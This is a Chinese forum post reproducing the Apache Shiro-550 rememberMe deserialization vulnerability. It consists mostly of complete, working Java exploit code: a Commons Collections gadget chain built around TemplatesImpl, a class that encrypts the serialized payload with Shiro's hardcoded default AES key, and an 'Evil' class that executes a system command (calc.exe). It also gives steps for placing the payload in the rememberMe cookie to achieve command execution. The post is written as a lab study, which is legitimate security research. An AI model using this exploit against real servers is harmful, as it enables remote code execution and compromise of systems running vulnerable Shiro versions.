shiro-550反序列化漏洞

打印 上一主题 下一主题

主题 908|帖子 908|积分 2724

1. 漏洞成因

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
2. 漏洞复现

POC:

点击查看代码
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.ByteArrayOutputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. /*
  13. HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
  14. TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
  15. TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
  16. TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
  17. */
  18. public class CC_Shiro {
  19.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  20.         Field field = obj.getClass().getDeclaredField(fieldName);
  21.         field.setAccessible(true);
  22.         field.set(obj, value);
  23.     }
  24.     public byte[] getPayload(byte[] clazzBytes) throws Exception {
  25.         TemplatesImpl obj = new TemplatesImpl();
  26.         setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  27.         setFieldValue(obj, "_name", "HelloTemplatesImpl");
  28.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  29.         Transformer transformer = new InvokerTransformer("getClass", null, null);
  30.         // 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法
  31.         Map innerMap = new HashMap();
  32.         Map outerMap = LazyMap.decorate(innerMap, transformer);
  33.         TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
  34.         Map expMap = new HashMap();
  35.         expMap.put(tme, "valuevalue");
  36.         outerMap.clear();
  37.         setFieldValue(transformer, "iMethodName", "newTransformer");
  38.         // ==================
  39.         // 生成序列化字符串
  40.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  41.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  42.         oos.writeObject(expMap);
  43.         oos.close();
  44.         return barr.toByteArray();
  45.     }
  46. }
复制代码
再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密
点击查看代码
  1. import javassist.ClassPool;
  2. import javassist.CtClass;
  3. import org.apache.shiro.crypto.AesCipherService;
  4. import org.apache.shiro.util.ByteSource;
  5. public class Main {
  6.     public static void main(String []args) throws Exception {
  7.         ClassPool pool = ClassPool.getDefault();
  8.         CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
  9.         byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
  10.         AesCipherService aes = new AesCipherService();
  11.         byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  12.         ByteSource ciphertext = aes.encrypt(payloads, key);
  13.         System.out.printf(ciphertext.toString());
  14.     }
  15. }
复制代码
最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法
点击查看代码
  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. public class Evil extends AbstractTranslet {
  7.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
  8.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  9.     public Evil() throws Exception {
  10.         super();
  11.         System.out.println("Hello TemplatesImpl");
  12.         Runtime.getRuntime().exec("calc.exe");
  13.     }
  14. }
复制代码
总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行
利用链分析

HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口
为了方便调试这里在POC代码随便改改,把反序列化部分也加上
点击查看代码
  1. package com.govuln.shiroattack;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. /*
  15. HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
  16. TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
  17. TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
  18. TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
  19. */
  20. public class CommonsCollectionsShiro {
  21.     public static void main(String[] args) throws Exception{
  22.         ClassPool pool = ClassPool.getDefault();
  23.         CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
  24.         new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
  25.     }
  26.     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  27.         Field field = obj.getClass().getDeclaredField(fieldName);
  28.         field.setAccessible(true);
  29.         field.set(obj, value);
  30.     }
  31.     public byte[] getPayload(byte[] clazzBytes) throws Exception {
  32.         TemplatesImpl obj = new TemplatesImpl();
  33.         setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
  34.         setFieldValue(obj, "_name", "HelloTemplatesImpl");
  35.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  36.         Transformer transformer = new InvokerTransformer("getClass", null, null);
  37.         Map innerMap = new HashMap();
  38.         Map outerMap = LazyMap.decorate(innerMap, transformer);
  39.         TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
  40.         Map expMap = new HashMap();
  41.         expMap.put(tme, "valuevalue");
  42.         outerMap.clear();
  43.         setFieldValue(transformer, "iMethodName", "newTransformer");
  44.         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
  45.         outputStream.writeObject(expMap);
  46.         outputStream.close();
  47.         ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
  48.         in.readObject();
  49.         // ==================
  50.         // 生成序列化字符串
  51. //        ByteArrayOutputStream barr = new ByteArrayOutputStream();
  52. //        ObjectOutputStream oos = new ObjectOutputStream(barr);
  53. //        oos.writeObject(expMap);
  54. //        oos.close();
  55. //        return barr.toByteArray();
  56.         return new byte[]{};
  57.     }
  58. }
复制代码
这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来
这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去
因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法
接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试

进入hash方法

进入hashcode方法

再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的

进入get方法后后面就是CC3后面的过程

利用生成的payload完成复现

运行Main.java就可以生成payload

自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行

参考文章:https://www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

滴水恩情

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表